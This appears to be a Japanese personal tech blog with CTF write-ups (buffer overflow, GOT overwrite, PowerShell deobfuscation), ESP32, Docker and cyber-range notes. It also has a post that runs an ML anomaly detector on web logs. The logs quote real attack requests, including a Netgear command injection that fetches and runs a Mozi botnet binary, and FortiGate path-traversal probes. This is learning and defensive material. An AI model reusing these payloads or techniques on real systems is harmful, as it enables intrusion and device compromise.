ペンギン技術 blog

CTFのWriteupなどを記載していこうと思います

ESP32に内蔵プルアップ抵抗はない(あるポートもある)

以下の現象が発生

ESP32-DevKitC-VE ESP32-WROVER-E開発ボードの  
D34、D35にタクトスイッチをつけたところ、  
スイッチにさわっていないのに、スイッチの入力が不安定になり、ON/OFFを繰り返す現象が発生。  

D13のタクトスイッチでは発生しない。  

スイッチを押したままにすると安定します。
「プルアップ抵抗がないのでは?」とググったら以下の記事があり、
「プルアップ抵抗があるのに安定しないのか・・・」と絶望したところ、下のほうに答えがありました。

ESP32に内蔵プルアップ抵抗はあるか(ある)
https://qiita.com/no_clock/items/a3bc8a9816534cf8c930

IO34~IO39はプルアップしません

githubでの「これらの入力専用ピンにはPU/PD回路がありません」という回答に
「GPIO」なのに「入力専用」ピンという呼び方は納得いかない」などとつっこまれていました。
たしかに。。。

D34はプルアップ抵抗(4.7kΩ)を5Vに接続
D35のほうはD32へつなぎ変えを行って対応しました。

(参考)
プルアップ抵抗・プルダウン抵抗の値の決め方は?(初心者向け)
http://kairo-consulting.com/blog/%E3%83%97%E3%83%AB%E3%82%A2%E3%83%83%E3%83%97%E6%8A%B5%E6%8A%97%E3%83%BB%E3%83%97%E3%83%AB%E3%83%80%E3%82%A6%E3%83%B3%E6%8A%B5%E6%8A%97%E3%81%AE%E5%80%A4%E3%81%AE%E6%B1%BA%E3%82%81%E6%96%B9%E3%81%AF/

ESP32-dev-moduleのピンマップを確認する
https://leico.github.io/TechnicalNote/Arduino/esp32-pinmap


全く関係ないですが、以前、以下でハマったのを思い出しました。
M5Stack Aボタン連射機能回避の件
https://note.com/46u/n/nf105cd6a7934
これは自己解決できない・・・。
先人たちに感謝

SECCON Beginners CTF 2022 Writeup

SECCON Beginners CTF 2022
https://score.beginners.azure.noc.seccon.jp
のWriteupです
3問しか解けていませんが・・・

misc

H2

capture.pcapがあり、その中からフラグを探す

問題には以下のようなgo言語のスクリプト(一部のみ抜粋)が添付されていたため、
プロトコルhttp2で絞込を行い、送信元ポート番号8080で、レスポンス部分のみで絞り込んだ
その後、wiresharkの機能で"x-flag"を検索したところ、フラグが見つかった

func main() {
  handler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path == SECRET_PATH {
      w.Header().Set("x-flag", "<secret>")
    }
    w.WriteHeader(200)
    fmt.Fprintf(w, "Can you find the flag?\n")
  })

  h2s := &http2.Server{}
  h1s := &http.Server{
    Addr:    ":8080",
    Handler: h2c.NewHandler(handler, h2s),
  }

wireshark

crypto

CoughingFox

以下のスクリプトで暗号化されたフラグを渡される

from random import shuffle

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

cipher = []

for i in range(len(flag)):
    print (i)
    f = flag[i]
    print (f)
    c = (f + i)**2 + i
    cipher.append(c)

shuffle(cipher)
print("cipher =", cipher)

元のスクリプトを読み、復号スクリプトを作る
結果がシャッフルされているので、べき乗がぴったり戻せる(整数になる)パターンを総当たりで探す

from random import shuffle
import math

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

#フラグ(シャッフル後)
cipherB = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

dic = {1: "A"}  #結果を入れる

#元に戻す処理
cnt = 0
for j in cipherB:  #暗号文の数だけ繰り返す
    for i in range(len(flag)):  #シャッフルされているので、すべての数について総当たりする
        c1 = j - i
        c2 = math.sqrt(c1)
        c3 = c2 - i
        if c3.is_integer():  #整数かどうか(位置が一致し、復号できる場合のみ)
            # iは元の位置 iの番号順に答えを並べなおすと、フラグが出てくる
            # asciiコードに戻す
            dic[i] = chr(int(c3)) #結果を追加する
        cnt +=1

#キーで並び替えする
dic2 = sorted(dic.items())

# listの右側(値)だけ取り出し
for v in dic2:
    print(v[1], end='')  #改行なしで出力
print('')
$ python3 rev_problem2.py
ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}

reversing

Quiz

stringsコマンドで見てみる

$ strings quiz
:
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
Welcome, it's time for the binary quiz!
Q1. What is the executable file's format used in Linux called?
    Linux
    1) ELM  2) ELF  3) ELR
:

実行結果

$ ./quiz
Welcome, it's time for the binary quiz!
ようこそ、バイナリクイズの時間です!

Q1. What is the executable file's format used in Linux called?
    Linuxで使われる実行ファイルのフォーマットはなんと呼ばれますか?
    1) ELM  2) ELF  3) ELR
Answer : 2
Correct!

Q2. What is system call number 59 on 64-bit Linux?
    64bit Linuxにおけるシステムコール番号59はなんでしょうか?
    1) execve  2) folk  3) open
Answer : 1
Correct!

Q3. Which command is used to extract the readable strings contained in the file?
    ファイルに含まれる可読文字列を抽出するコマンドはどれでしょうか?
    1) file  2) strings  3) readelf
Answer : 2
Correct!

Q4. What is flag?
    フラグはなんでしょうか?
Answer : ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
Correct! Flag is ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

機械学習による異常検知(ウェブアクセスログ)

環境
Ubuntu 20.04.3 LTS

以下のコードを試しに動かしてみただけの記事
環境作成が困難かと思われたが、意外とすんなり動作した

※本物のアクセスログは現在限定公開となっているため、動作確認のみ

本物のウェブアクセスログを使用した、機械学習による異常検知(全データ/ソースコード公開)
https://www.scutum.jp/information/waf_tech_blog/2021/01/waf-blog-077.html

JDKとantをインストール

参考 How to Install Apache Ant on Ubuntu 20.04 | 18.04
https://websiteforstudents.com/how-to-install-apache-ant-on-ubuntu-20-04-18-04/

JDK8をインストール

$ sudo apt update
$ sudo apt-get install openjdk-8-jdk openjdk-8-doc

確認

$ java -version
openjdk version "1.8.0_312"
OpenJDK Runtime Environment (build 1.8.0_312-8u312-b07-0ubuntu1~20.04-b07)
OpenJDK 64-Bit Server VM (build 25.312-b07, mixed mode)

antをインストール

$ sudo apt install ant

確認

$ ant -version
Apache Ant(TM) version 1.10.7 compiled on October 24 2019

Walu(Web Application Log Unveiler)を動かしてみる

$ git clone https://github.com/Kanatoko/Walu.git
$ cd Walu

手元の環境ではメモリ4GBの仮想マシンのため、使用メモリ定義を下げる

$ vi run.sh

#!/bin/sh
---
ant
#java -Xmx21G -Xms21G -XX:+UseG1GC -cp bin/:lib/* net.jumperz.app.MWalu.MWalu data/access.log
java -Xmx3G -Xms3G -XX:+UseG1GC -cp bin/:lib/* net.jumperz.app.MWalu.MWalu data/access.log
---

アクセスログを追加(動くかどうかの確認のため4行だけ)

---
$ vi data/access.log
31.56.96.51 - - [22/Jan/2019:03:56:20 +0330] "GET /image/60847/productModel/200x200 HTTP/1.1" 200 5667 "https://www.zanbil.ir/m/filter/b113" "Mozilla/5.0 (Linux; Android 6.0; ALE-L21 Build/HuaweiALE-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Mobile Safari/537.36" "-"
5.160.157.20 - - [22/Jan/2019:03:56:49 +0330] "GET /browse/blu-ray HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0" "-"
216.244.66.248 - - [22/Jan/2019:03:57:30 +0330] "GET /robots.txt HTTP/1.1" 200 64 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)" "-"
5.116.244.10 - - [24/Jan/2019:10:58:13 +0330] "GET /rapidGrails/jsonList?maxColumns=16&(略) HTTP/1.1" 200 1337 "https://www.zanbil.ir/orderAdministration/console/187717" "Mozilla/5.0 (Windows NT 10.0; rv:64.0) Gecko/20100101 Firefox/64.0" "-"
---

コンパイルと実行

$ ./run.sh
Buildfile: /home/user/Walu/build.xml

build-subprojects:

init:

build-project:
     [echo] Walu: /home/user/Walu/build.xml

build:

BUILD SUCCESSFUL
Total time: 0 seconds
2022-04-01 23:43:41.024 JST: Reading file data/access.log ...
2022-04-01 23:43:41.031 JST: Total number of lines: 4
2022-04-01 23:43:41.031 JST: Getting unique IP addresses ...
2022-04-01 23:43:41.036 JST: Total number of IPs: 4
2022-04-01 23:43:41.037 JST: Constructing vector list ...
2022-04-01 23:43:41.038 JST: Total number of vectors: 4
2022-04-01 23:43:41.038 JST: Building model ... ( treeNumber=1000 ,subSampleSize=10000 )
2022-04-01 23:43:41.076 JST: Writing model as Java source code ...
2022-04-01 23:43:41.097 JST: Compiling model with ant ...
2022-04-01 23:43:43.631 JST: Model is successfully loaded.
2022-04-01 23:43:43.631 JST: Scoring vectors ...
2022-04-01 23:43:43.647 JST: Sorting results ...
2022-04-01 23:43:43.648 JST: Saving results ...
2022-04-01 23:43:43.649 JST: Total execution time:2625

結果を確認

$ ls data/
access.log  result_all.txt  result_by_ip.txt

※ログの説明は元記事(https://www.scutum.jp/information/waf_tech_blog/2021/01/waf-blog-077.html)より抜粋

result_all.txtは入力であるdata/access.logのすべての行について、先頭に異常さのスコアを加えたものになっています。
並び順はaccess.logと同じになっています。
この数値が低いほど異常、高いほど正常です。感覚的には0.2以下はかなり異常だと言えるアクセスになります。

$ cat data/result_all.txt
0.600 31.56.96.51 - - [22/Jan/2019:03:56:20 +0330] "GET /image/60847/productModel/200x200(略)
0.667 5.160.157.20 - - [22/Jan/2019:03:56:49 +0330] "GET /browse/blu-ray HTTP/1.1"(略)
0.592 216.244.66.248 - - [22/Jan/2019:03:57:30 +0330] "GET /robots.txt HTTP/1.1"(略)
0.354 5.116.244.10 - - [24/Jan/2019:10:58:13 +0330] "GET /rapidGrails/jsonList?maxColumns=16&domainClass=eshop.Order&(略)
アクセスがあったそれぞれのIPについて、最も異常だと判定された行をスコアと共に記録したファイルです。
並び順として、異常と判定された行から順番に並んでいるので、異常検知の結果としてはまずこちらのファイルを見ることになります。

$ cat data/result_by_ip.txt
0.354 5.116.244.10 - - [24/Jan/2019:10:58:13 +0330] "GET /rapidGrails/jsonList?maxColumns=(略)
0.592 216.244.66.248 - - [22/Jan/2019:03:57:30 +0330] "GET /robots.txt HTTP/1.1(略)
0.600 31.56.96.51 - - [22/Jan/2019:03:56:20 +0330] "GET /image/60847/productModel/200x200(略)
0.667 5.160.157.20 - - [22/Jan/2019:03:56:49 +0330] "GET /browse/blu-ray HTTP/1.1(略)

数件しかないのでこの結果には意味がないが、スコアは計算されている
なんとか動きそうなので、何かログを探して試してみたい

(追記)

少ないが、手持ちの約4500件のログを読み込ませる。
メモリ4GBの仮想マシンでも10.6秒ほどで完了。

ログの量が少ないのもあるが、マシンスペックを考えると驚くほど速い。

残念ながら、使ったログはほぼ個人利用のサーバなので、攻撃通信のほうが多い。

result_by_ip.txtのTOP3は以下(IPと時刻は削除)

0.196 "GET ///remote/fgt_lang?lang=/../../../..//////////dev/ HTTP/1.1" 502 166 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.el7.x86_64"
0.201 "GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1" 502 166 "-" "Python-urllib/3.9"
0.227 "GET /plugins/weathermap/editor.php?plug=0&mapname=test.php&action=set_map_properties&param=&param2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=46ea1712d4b13b55b3f680cc5b8b54e8&map_legend=Traffic%20Load&map_stamp=Created%3A%2B%25b%2B%25d%2B%25Y%2B%25H%3A%25M%3A%25S&map_linkdefaultwidth=7 HTTP/1.1" 404 197 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36"

それ以外抜粋(リクエスト先IPアドレスは伏字)

:
0.256 "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://xx.xx.xx.xx:49677/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 162 "-" "-"
:
0.435 "GET / HTTP/1.1" 200 4833 "-" "-" "-"
:
0.438 "GET /admin/config.php HTTP/1.1" 404 134 "-" "python-requests/2.27.1"
0.438 "GET /wp-login.php HTTP/1.1" 404 3650 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" "-"

調査などのシンプルなGETのアクセスはスコア0.4前後で下のほうに、
長い怪しいリクエストはスコア0.2前後で上のほうに来ているので、 大量のログの中から不審なアクセスを抽出するにはとてもよさそうです。

Docker Hub 上のリポジトリにpushしてみる

Dockerイメージを作成し、Docker Hub 上のリポジトリにpush/pullしてみたので、
メモとして残しておきます。

参考
Dockerを使って機械学習の環境を作ろうとした話
https://qiita.com/penpenta/items/3b7a0f1e27bbab56a95f

上記を参考にして、Dockerfile、requirements.txtを準備しておく

Dockerfile

FROM python:3.8.0

RUN apt-get update \
    && apt-get upgrade -y \
    # imageのサイズを小さくするためにキャッシュ削除
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/* \
    # pipのアップデート
    && pip install --upgrade pip

# 作業するディレクトリを変更
WORKDIR /home/DeepLearning

COPY requirements.txt ${PWD}

# pythonのパッケージをインストール
RUN pip install -r requirements.txt

# 作業するディレクトリを変更
# コンテナの内部には入った際のディレクトリの位置を変更している
WORKDIR /home/DeepLearning/src

requirements.txt

numpy
pandas
matplotlib
scikit-learn

環境の準備

名前を付けて build

$ docker build --rm -t {イメージ名:タグ} {Dockerfileのパス}

--rm : 構築に成功したら、全ての中間コンテナを削除
-t : '名前:タグ' 形式で名前とオプションのタグを指定

Dockerfile、requirements.txtをおいたディレクトリと同じ場所にcdで移動し、以下を実行

$ sudo docker build --rm -t deeplearning_env:latest .

確認

$ sudo docker images
REPOSITORY          TAG                 IMAGE ID            CREATED              SIZE
python              3.8.0               0a3a95c81a2b        3 weeks ago         932MB
deeplearning_env    latest              6a4aaef11001        7 minutes ago       1.33GB

Docker Hubにイメージをあげる

参考
自分で作ったDockerイメージを非公開環境にあげてみた
https://qiita.com/Eita11/items/60c65319ed092028a250

イメージをあげる前にタグ名をつける

$ docker tag イメージID ユーザー名/リポジトリ名:タグ名で実施
$ sudo docker tag 4e98e84b5951 username1/c21-repo:1.0

確認

$ sudo docker images
REPOSITORY                                      TAG       IMAGE ID       CREATED         SIZE
username1/c21-repo                                1.0    4e98e84b5951   24 minutes ago   1.87GB
:

Dockerイメージをあげる

Docker Hubにアカウントを作成し、ブラウザからリポジトリを作成しておく

手元のLinux環境でdocker loginコマンドにてログインしておく

$ sudo docker login
Username: username1
Password:
WARNING! Your password will be stored unencrypted in /root/.docker/config.json.

Login Succeeded

「docker push ユーザー名/リポジトリ名:タグ名」でコンテナをDocker Hubにpush

$ sudo docker push username1/c21-repo:1.0
The push refers to repository [docker.io/username1/c21-repo]
cd1cbed40555: Pushed
abf46b7b00f8: Pushed
:

確認(pullしてみる)

docker Hubにあげたものをとってこれるか確認

ローカルにあるイメージを消す

$ sudo docker rmi -f 4e98e84b5951
Untagged: username1/c21-repo:1.0
Untagged: username1/c21-repo@sha256:2aa18aa8ed2670c3c3d28383dfbbcbda1d3c6add4ac8dab1aea1573e1c56a285
Untagged: username1/deeplearning_env:1.0
Deleted: sha256:4e98e84b595110b1065f5358805e0d1e5ef4c6407e7289ff791a99a706ee73d6
Deleted: sha256:49a72326fe0c72d89cea1833c0d5f21430f0dc6e13d243396f59babc697eda7a
:

Docker Hubからpullする

$ sudo docker pull username1/c21-repo:1.0

確認

$ sudo docker images
REPOSITORY                                      TAG       IMAGE ID       CREATED          SIZE
username1/c21-repo                                1.0       4e98e84b5951   35 minutes ago   1.87GB
python                                          3.8.0     0a3a95c81a2b   2 years ago      932MB

起動

$ sudo docker run --rm -it -v /home/user/create_docker_img:/home/DeepLearning username1/c21-repo:1.0 /bin/bash
root@019fef5d7842:/home/DeepLearning/src#

--rm:コンテナから抜けるとコンテナを削除
-i:コマンドなどの入力情報をコンテナまで伝える(ないとコマンドの応答が返れないなどの影響がでる)
-t:コンソールの標準出力とコンテナの標準出力をつなげる
-v:ホストのファイルをコンテナにマウント {ホストのパス}:{コンテナのパス}

ここで打ち込んだコマンドが、コンテナ内で実行される
ホストのファイルをコンテナにマウントしているため、
ソースファイルなどはホスト側を参照すればよい
また、出力結果もホスト側に出力すればよい

# python3 --version
Python 3.8.0

別のターミナルから起動しているコンテナ情報を確認

$ sudo docker ps
CONTAINER ID   IMAGE                  COMMAND       CREATED          STATUS          PORTS     NAMES
019fef5d7842   username1/c21-repo:1.0   "/bin/bash"   25 minutes ago   Up 25 minutes             cranky_saha

WaniCtf2021-writeup(簡単なもののみ)

簡単なもののみですが、備忘録としてあげておきます。

Crypto

fox

171pt Beginner

What does the fox say?🦊


flag = b"FAKE{REDACTED}"


def bytes_to_int(B: bytes):
    X = 0
    for b in B:
        X <<= 8
        X += b
    return X


print(bytes_to_int(flag))

上記プログラムの結果(1911698951・・・)が与えられ、元の文字列を復元する問題

8bitビットシフトした後に、フラグの数値(ASCIIコード値)を加算しているだけなので、
結果の数値を2進数に直してから、8bit区切りでASCIIコードとして戻す

pythonで2進数に直す

$ python
>>> bin(19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197)
'0b10001100100110001000001010001110111101101010010001100010110111001100111010111110110010000110001011011100011100101011111011001000110100101101110011001110101111101100100001100010110111001100111010111110110010001101001011011100110011100110011011100100110100101101110011001110011001101100100011010010110111001100111001111110101111101011111010101110110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110111101110111001111110101111101011111011011110111001001011111011010110110111101101110011010110110111100101101011011100011111101111101'

頭に0を1つ補って、CyberChefのFrom Binaryで戻す

010001100100110001000001010001110111101101010010001100010110111001100111010111110110010000110001011011100011100101011111011001000110100101101110011001110101111101100100001100010110111001100111010111110110010001101001011011100110011100110011011100100110100101101110011001110011001101100100011010010110111001100111001111110101111101011111010101110110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110111101110111001111110101111101011111011011110111001001011111011010110110111101101110011010110110111100101101011011100011111101111101

FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}

Forensics

propaganda

156pt Beginner

超人気ゲームをみんなでプレイしよう!
(動画ファイルが渡される)

動画内に、一瞬何か見える 動画データから画像を取り出して保存する

5~7秒を24コマで取り出し

$ ffmpeg -i flag.mp4 -ss 5 -t 7 -r 24 -f image2 %06d.jpg

画像からフラグを手入力する

FLAG{Stand_tall_We_are_Valorant_We_are_fighters!}

sonic

209pt Easy

妖怪からのメッセージです.

音量注意!

タイトルより、Sonic Visualiserを使いそう
https://www.sonicvisualiser.org/download.html

以下を参考にメニューより、Pane > Add Spectrogramを選択
https://dev.to/k0p1/stacks-2020-ctf-voices-in-the-head-forensic-1bea
FLAG{Messages_du_spectre}

Pwn

nc

155pt Beginner

nc nc.pwn.wanictf.org 9001
ヒント
netcat (nc)と呼ばれるコマンドを使うだけです。
つないだら何も出力されなくてもLinuxコマンドを打ってenterを入力してみましょう。
Linuxの基本的なコマンド集
pwnの問題ではシェルが取れたときに何も出力されないので分かり辛いですが、
とりあえずlsとか実行してみるとシェルが取れてたりすることがあります。

言われたとおりにやってみる

$ nc nc.pwn.wanictf.org 9001
welcome to WaniCTF 2021!!!

ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{the-1st-step-to-pwn-is-netcatting}

BOF

168pt Beginner

よーし、今日も魔王を倒しに行くか!

...あれ、ふっかつのじゅもんが違う...だと...?

nc bof.pwn.wanictf.org 9002

タイトルがBOFなので、長い文字列を渡してみる

$ nc bof.pwn.wanictf.org 9002
ふっかつのじゅもんを いれてください
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
よくぞもどられた!
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}

got rewriter

181pt Easy

nc got-rewriter.pwn.wanictf.org 9003
ヒント
「参考になるwriteupを探す練習」用の問題です。
CTFではwriteupを探すと過去の問題で参考になる情報が載っているページがあったりすることが多く、
それを読みながら少しずつ自分の技術力を高めていきます。
この問題ではgot rewriter writeup WaniCTFでググると参考になるページが出てくるかもしれません。

問題にはソースコードとバイナリがついている

問題サーバにncで接続すると、目標となるwin関数のアドレスが表示される。
また、書き換えるアドレスを指定できる。

$ nc got-rewriter.pwn.wanictf.org 9003
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000):

C言語のソース。ここに到達すればシェルをとれる

void win() {
  printf("congratulation!\n");
  system("/bin/sh");
  exit(0);
}

バイナリをobjdumpで見てみる。

$ objdump -d -M intel got > objdump_result.txt
(略)

00000000004006d0 <printf@plt>:
  4006d0:   ff 25 62 09 20 00       jmp    QWORD PTR [rip+0x200962]        # 601038 <printf@GLIBC_2.2.5>
  4006d6:   68 04 00 00 00          push   0x4
  4006db:   e9 a0 ff ff ff          jmp    400680 <.plt>

(略)

0000000000400807 <win>:
  400807:   55                      push   rbp
  400808:   48 89 e5                mov    rbp,rsp
  40080b:   48 8d 3d a6 02 00 00    lea    rdi,[rip+0x2a6]        # 400ab8 <_IO_stdin_used+0x8>
  400812:   e8 79 fe ff ff          call   400690 <puts@plt>
  400817:   48 8d 3d aa 02 00 00    lea    rdi,[rip+0x2aa]        # 400ac8 <_IO_stdin_used+0x18>
  40081e:   e8 9d fe ff ff          call   4006c0 <system@plt>
  400823:   bf 00 00 00 00          mov    edi,0x0
  400828:   e8 e3 fe ff ff          call   400710 <exit@plt>
(略)

よくわからないが、printf関数は使われていそうなので、ここを書き換えてみる。

$ nc got-rewriter.pwn.wanictf.org 9003
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000): 601038
Your input address is 0x601038.
Please input rewrite value: 400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}

Reversing

ltrace

176pt Beginner

この問題はltraceで解ける...ってコト!?

$ sudo apt-get install -y ltrace
$ ltrace --help
ヒント : オプションをよく確認しよう

まずは使ってみる

$ ltrace ./rev-ltrace
printf("Input flag : ")                                                         = 13
__isoc99_scanf(0x5648ef58a012, 0x7ffde6f31920, 0, 0Input flag : a
)                            = 1
strcmp("a", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4"...)                              = 27
puts("Incorrect"Incorrect
)                                                               = 10
+++ exited (status 1) +++

入力した文字列とを比較している部分が見えるが、フラグが全部表示されない。

コマンドオプションを確認する。
表示サイズを指定すると全部表示された。

$ ltrace -s 999 ./rev-ltrace
printf("Input flag : ")                                                         = 13
__isoc99_scanf(0x55e5ae5df012, 0x7fffb7a8faf0, 0, 0Input flag : a
)                            = 1
strcmp("a", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}")                       = 27
puts("Incorrect"Incorrect
)                                                               = 10
+++ exited (status 1) +++

pwsh

203pt Easy

Power!!!

Installing PowerShell on Ubuntu
<https://docs.microsoft.com/en-us/powershell/scripting/install/install-ubuntu?view=powershell-7.1#installation-via-package-repository>  

実行すると以下のようになるPowerShellスクリプトが与えられる。
PowerShellスクリプトは難読化されている。

$ pwsh 
PowerShell 7.2.0
(略)
PS /home/user/Downloads> ./pwsh2.ps1
Welcome to the world of PowerShell!
Password: a
Incorrect

PowerShellスクリプトを見ると、VErboSEPReFErencE.TostRIngで実行しているので、
ここをechoに変更してみる。以下のように直してから実行。

(("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{
  Writ','l}','_','o ','r','W4Incor','w3r5h3l','W','
 ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4

','W4Co','d','e','rrect!cW4
} ','rec','tcW4
}
',' {','tput c','cW4Welcome to t','f',' Write-Ou','

if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36) |& echo

以下のように処理内容が見えるようになった。

PS /home/user/Downloads> ./pwsh2.ps1
echo "Welcome to the world of PowerShell!"

$input = Read-Host "Password"

if ($input -eq "FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}") {
  Write-Output "Correct!"
} else {
  Write-Output "Incorrect"
}

Web

POST Challenge

240pt Easy

HTTP POSTに関する問題を5つ用意しました。すべて解いてFLAGを入手してください!

FLAGの形式は
FLAG{[Challenge1のFLAG]_[Challenge2のFLAG]_[Challenge3のFLAG]_[Challenge4のFLAG]_[Challenge5のFLAG]}
https://post.web.wanictf.org/
https://post.web.wanictf.org/chal/1に適切なデータをPOSTしてください

app.post("/chal/1", function (req, res) {
  let FLAG = null;
  if (req.body.data === "hoge") {
    FLAG = process.env.FLAG_PART1;
  }
  res.render("chal", { FLAG, chal: 1 });
});
$ curl https://post.web.wanictf.org/chal/1 -X POST -d 'data=hoge' -v

  Congratulations! Challenge 1 FLAG: y0u

以下でも可。Content-Type指定が必要なことに注意

$ curl https://post.web.wanictf.org/chal/1 -H "Content-Type: application/json" -A "Mozilla/5.0" -X POST -d '{"data":"hoge"}' -v
https://post.web.wanictf.org/chal/2に適切なデータをPOSTしてください

app.post("/chal/2", function (req, res) {
  // リクエストヘッダのUser-AgentにどのブラウザでもついているMozilla/5.0がある場合のみFLAGを送信
  let FLAG = null;
  if (
    req.headers["user-agent"].includes("Mozilla/5.0") &&
    req.body.data === "hoge"
  ) {
    FLAG = process.env.FLAG_PART2;
  }
  res.render("chal", { FLAG, chal: 2 });
});

UA追加して送信する

$ curl https://post.web.wanictf.org/chal/2 -A "Mozilla/5.0" -X POST -d 'data=hoge' -v
  Congratulations! Challenge 2 FLAG: ar3
https://post.web.wanictf.org/chal/3に適切なデータをPOSTしてください

app.post("/chal/3", function (req, res) {
  let FLAG = null;
  if (req.body.data?.hoge === "fuga") {
    FLAG = process.env.FLAG_PART3;
  }
  res.render("chal", { FLAG, chal: 3 });
});

入れ子になっているjsonデータを送信

curl https://post.web.wanictf.org/chal/3 -H "Content-Type: application/json" -X POST -d '{"data":{"hoge":"fuga"}}'
  Congratulations! Challenge 3 FLAG: http
https://post.web.wanictf.org/chal/4に適切なデータをPOSTしてください

app.post("/chal/4", function (req, res) {
  let FLAG = null;
  if (req.body.hoge === 1 && req.body.fuga === null) {
    FLAG = process.env.FLAG_PART4;
  }
  res.render("chal", { FLAG, chal: 4 });
});

うまくいかず

$ curl https://post.web.wanictf.org/chal/4 -H "Content-Type: application/json" -X POST -d '{"hoge":1, "fuga":""}' -v
https://post.web.wanictf.org/chal/5に適切なデータをPOSTしてください

function md5file(filePath) {
  const target = fs.readFileSync(filePath);
  const md5hash = crypto.createHash("md5");
  md5hash.update(target);
  return md5hash.digest("hex");
}

app.post("/chal/5", function (req, res) {
  let FLAG = null;
  if (req.files?.data?.md5 === md5file("public/images/wani.png")) {
    FLAG = process.env.FLAG_PART5;
  }
  res.render("chal", { FLAG, chal: 5 });
});

CTF問題画面にいるワニの画像を送信

$ wget https://post.web.wanictf.org/images/wani.png

でワニの画像をダウンロードしておく
よくわからないが、ファイル名の前に@をつけることに注意

$ curl https://post.web.wanictf.org/chal/5 -A "Mozilla/5.0" -X POST -F "data=@wani.png" -v

  Congratulations! Challenge 5 FLAG: m@ster!
FLAG{y0u_ar3_http_p0st_m@ster!}

運営writeupが公開されていました。
https://github.com/wani-hackase/wanictf2021-writeup

CyRISをインストールしてみる(途中まで)

Cyber RangeのCyRISをインストールしてみました。
マニュアル はあるのですが、コマンドイメージや必要なパッケージの記載がないため苦戦しており、いまだに起動できていませんが、途中まで公開しておきます。

※本来は実機で動かすものなのですが、練習なので仮想マシンで試しています。

Cyber Range Organization and Design Chair
https://github.com/crond-jaist?_fsi=yQAhRMTi

CyRIS
https://github.com/crond-jaist/cyris/releases/

マニュアル
https://github.com/crond-jaist/cyris/releases/download/1.2/cyris-1.2-guide.pdf

(追記)「Cy-series インストールガイド」も参考になります
https://www.jaist.ac.jp/is/labs/chinen-lab/#products

必要パッケージインストール

$ sudo apt install net-tools ssh cpu-checker

事前準備

VMware Player上のLinuxで、KVMを使う
https://kazuhira-r.hatenablog.com/entry/20180727/1532703682
VMware Player上のLinuxKVMを使うには、Intel VTを使うように設定しておく必要がある
プロセッサ→[Intel VT-x/EPT または AMD-V/RVI を仮想化]にチェック

ubuntuqemu kvm を入れて仮想マシンを作る準備をする
https://takuya-1st.hatenablog.jp/entry/2021/01/06/164842

KVMが使えるか調べる

$ sudo apt install cpu-checker

$ kvm-ok
INFO: /dev/kvm exists
